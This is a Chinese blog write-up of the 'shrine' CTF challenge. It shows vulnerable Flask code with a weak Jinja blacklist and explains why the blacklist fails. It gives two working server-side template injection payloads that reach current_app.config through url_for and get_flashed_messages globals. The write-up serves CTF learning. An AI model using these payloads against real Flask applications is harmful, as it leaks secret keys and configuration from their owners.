攻防世界web--shrine

攻防世界web--shrine


【难度】:3
【要点】:ssti注入

将所给的代码格式化:

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

可以知道,flag储存在app.config['FLAG']中,并且在/shrine/路由接受shrine参数,有config和self的黑名单并过滤了括号


思路:用url_for或get_flash_message访问全局变量。Flask 默认提供了一些全局函数(如 url_for、get_flashed_messages),它们可以访问 current_app(即 app 对象)


payload:{{url_for.__globals__['current_app'].config['FLAG']}}

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}



为什么config在黑名单中,但是最后的payload中却有config?

黑名单的运作机制:
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
实际是在模板头部生成{% set config=None %}{% set self=None %}
仅将模板中的 变量名 config 和 self 设为 None,生效范围为变量名,不会影响对象属性'config' 。payload的 config 是 属性访问(current_app.config),不是独立变量名,因此不会被黑名单影响。

posted @ 2025-07-13 09:13  埃克斯X  阅读(41)  评论(0)    收藏  举报